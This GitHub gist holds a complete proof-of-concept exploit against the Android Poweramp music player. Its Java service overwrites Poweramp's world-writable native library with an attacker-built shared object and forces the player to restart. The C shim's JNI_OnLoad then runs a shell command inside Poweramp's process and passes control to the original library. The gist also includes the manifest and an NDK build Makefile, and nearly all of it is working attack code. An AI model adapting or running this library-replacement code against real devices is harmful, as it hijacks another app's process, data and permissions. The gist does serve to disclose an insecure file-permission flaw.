Skip to content

Instantly share code, notes, and snippets.

@giantpune
Last active August 29, 2015 14:26
Show Gist options
  • Save giantpune/90fc3ccba6989dd504e4 to your computer and use it in GitHub Desktop.
Save giantpune/90fc3ccba6989dd504e4 to your computer and use it in GitHub Desktop.
poweramp_native_code_exploit
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="bad.are.libs.writable.world.libwut" >
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:exported="false"
android:name=".PwnService"
android:icon="@drawable/ic_launcher"
android:label="PwnService"
>
</service>
</application>
</manifest>
#include <android/log.h>
#include <dlfcn.h>
#include <jni.h>
#include <stdio.h>
#define ORIGINAL_LIBRARY_NAME "/data/data/bad.are.libs.writable.world.libwut/files/libfartypants.so"
#define LOG_TAG "libwoopsy"
#define LOG_D(...) do{ __android_log_print( ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__); printf( __VA_ARGS__ ); }while( 0 )
int JNI_OnLoad( JavaVM* vm, void* reserved )
{
LOG_D( "JNI_OnLoad called\n" );
system( "/system/bin/logwrapper /system/bin/id" );
void *handle = dlopen( ORIGINAL_LIBRARY_NAME, RTLD_NOW | RTLD_GLOBAL );
if( !handle )
{
LOG_D( "error opening %s: %s\n", ORIGINAL_LIBRARY_NAME, dlerror() );
return -1;
}
int ( *orig )( JavaVM* vm, void* reserved ) = dlsym( handle, "JNI_OnLoad" );
if( !orig )
{
LOG_D( "no original JNI_OnLoad to worry about\n" );
return JNI_VERSION_1_6;
}
LOG_D( "calling original JNI_OnLoad...\n" );
return orig( vm, reserved );
}
package bad.are.libs.writable.world.libwut;
import android.content.Context;
import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
public class MainActivity extends ActionBarActivity {
static public String TAG = "getajob";
static String libname = "/data/data/com.maxmpz.audioplayer/files/libaudioplayer_native.so";
static String newLibPath = null;
static private Context ctx = null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ctx = this;
newLibPath = getFilesDir() + "/libfartypants.so";
((Button)findViewById(R.id.button)).setOnClickListener(new View.OnClickListener()
{
@Override
public void onClick(View v)
{
Intent i = new Intent( ctx, PwnService.class );
i.putExtra( "originalLib", libname );
i.putExtra( "newLibName", newLibPath );
startService( i );
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(NDK_DIR)),)
$(error "set NDK_DIR in your environment. export NDK_DIR=<path to android-ndk-r8e>")
endif
#determine OS string
OS=$(shell uname)
ARCH_STR=
ifneq ($(findstring Linux,$(OS)),)
ARCH=$(shell uname -m)
ifneq ($(findstring x86_64,$(ARCH)),)
ARCH_STR=linux-x86_64
else
ARCH_STR=linux-x86
endif
else
$(error "its not linux. i probably need to fix my makefile")
endif
NDK_LIB_DIR := $(NDK_DIR)/platforms/android-3/arch-arm/usr
PREFIX := $(NDK_DIR)/toolchains/arm-linux-androideabi-4.6/prebuilt/$(ARCH_STR)/bin/arm-linux-androideabi-
LINKROOT = $(NDK_LIB_DIR)/lib/
#---------------------------------------------------------------------------------
# the prefix on the compiler executables
#---------------------------------------------------------------------------------
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AS := $(PREFIX)as
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
export BIN2S := bin2s
export STRIP := $(PREFIX)strip
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := libtest.so
BUILD := build
SOURCES := source
DATA := data
INCLUDES :=
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project (order is important)
#---------------------------------------------------------------------------------
LIBS := -llog
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(NDK_LIB_DIR)
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -Wall -g -pipe -fPIC
CFLAGS += $(INCLUDE)
CXXFLAGS := $(CFLAGS)
ASFLAGS := -g
LDFLAGS = -shared -Wl,-soname,$(TARGET)
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
# use CXX for linking C++ projects, CC for standard C
ifeq ($(strip $(CPPFILES)),)
export LD := $(CC)
else
export LD := $(CXX)
endif
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
all: $(BUILD)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT) : $(OFILES)
@echo linking $(notdir $@)
$(LD) $(LDFLAGS) $(OFILES) --sysroot=$(NDK_LIB_DIR) $(LIBPATHS) $(LIBS) -o $@
-include $(DEPSDIR)/*.d
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.s
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
%.bin.o : %.bin
@echo $(notdir $<)
@$(BIN2S) -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------
package bad.are.libs.writable.world.libwut;
import android.app.Service;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.os.Bundle;
import android.os.IBinder;
import android.util.Log;
import android.widget.Toast;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.RandomAccessFile;
import java.util.Arrays;
/**
* Created by j on 7/30/15.
*/
public class PwnService extends Service {
private static final String TAG = "getajob.pwnservice";
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
Bundle extras = intent.getExtras();
if( extras == null )
{
Log.i(TAG, "Intent Service started with no extras");
return Service.START_NOT_STICKY;
}
String originalLib = extras.getString( "originalLib" );
String newLibName = extras.getString( "newLibName" );
if( originalLib == null || newLibName == null )
{
Log.i( TAG, "Intent Service started with missing parameters" );
return Service.START_NOT_STICKY;
}
try
{
// truncate original file to force poweramp app to create it again
Log( "deleting files" );
try{new RandomAccessFile( new File( originalLib ),"rwd").setLength(0);}catch( Exception e){}
// start poweramp and give it time to write its files out
Log( "start poweramp" );
RestartPowerAmp();
// loop and wait for poweramp to write its files again
//! current time + 20 seconds
long doneski = System.currentTimeMillis() + 20 * 1000;
while( true )
{
Thread.sleep( 1000 );
long now = System.currentTimeMillis();
if( now >= doneski )
{
Log( "ran out of time waiting for original libs" );
ToastMessage( "ran out of time waiting for original libs" );
return Service.START_NOT_STICKY;
}
File f = new File( originalLib );
if( f.length() > 0 )
{
break;
}
}
// 1 more second to give poweramp time to finish writing its library
Thread.sleep( 1000 );
// now backup poweramp's lib to our directory
File orig = null;
File replacement = null;
Log( "backup poweramp lib" );
orig = new File( originalLib );
replacement = new File( newLibName );
int len = copy( orig, replacement );
// this gives it something like 0644 permissions
replacement.setWritable(true, true);
replacement.setReadable(true, false);
// write our library in place of the original one
Log( "write out asset lib" );
copyAsset( "libtest.so", originalLib, len );
Thread.sleep( 3000 );
// kill poweramp to force it to restart and load the new library
Log( "start poweramp again" );
RestartPowerAmp();
}catch( Exception e )
{
ToastMessage( "error haxxing somewhere");
e.printStackTrace();
return Service.START_NOT_STICKY;
}
return Service.START_NOT_STICKY;
}
private void Log( String str )
{
Log.d( TAG, str );
}
private void RestartPowerAmp()
{
PackageManager manager = getPackageManager();
Intent i = manager.getLaunchIntentForPackage( "com.maxmpz.audioplayer" );
if (i == null)
{
ToastMessage( "error starting poweramp" );
return;
}
i.addCategory(Intent.CATEGORY_LAUNCHER);
i.setFlags( Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK );
startActivity(i);
}
private void ToastMessage( String msg )
{
Toast.makeText(this, msg, Toast.LENGTH_SHORT).show();
}
private int copy(File src, File dst) throws IOException
{
InputStream in = new FileInputStream(src);
OutputStream out = new FileOutputStream(dst);
int ret = 0;
// Transfer bytes from in to out
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0) {
ret += len;
out.write(buf, 0, len);
}
in.close();
out.close();
return ret;
}
private void copyAsset( String src, String dst, int finalSize ) throws Exception {
AssetManager assetManager = this.getAssets();
InputStream in = assetManager.open( src );
OutputStream out = new FileOutputStream( dst );
byte[] buffer = new byte[1024];
int read;
while ((read = in.read(buffer)) != -1) {
out.write(buffer, 0, read);
// make sure we dont write too much
if( finalSize > 0 )
{
finalSize -= read;
if (finalSize <= 0)
{
return;
}
}
}
// now write padding
Arrays.fill(buffer, (byte) '\0');
while( finalSize > 0 )
{
int toDo = finalSize;
if( toDo > 1024 )
{
toDo = 1024;
}
out.write(buffer, 0, toDo);
finalSize -= toDo;
}
in.close();
out.flush();
out.close();
}
@Override
public IBinder onBind(Intent intent)
{
//TODO for communication return IBinder implementation
return null;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment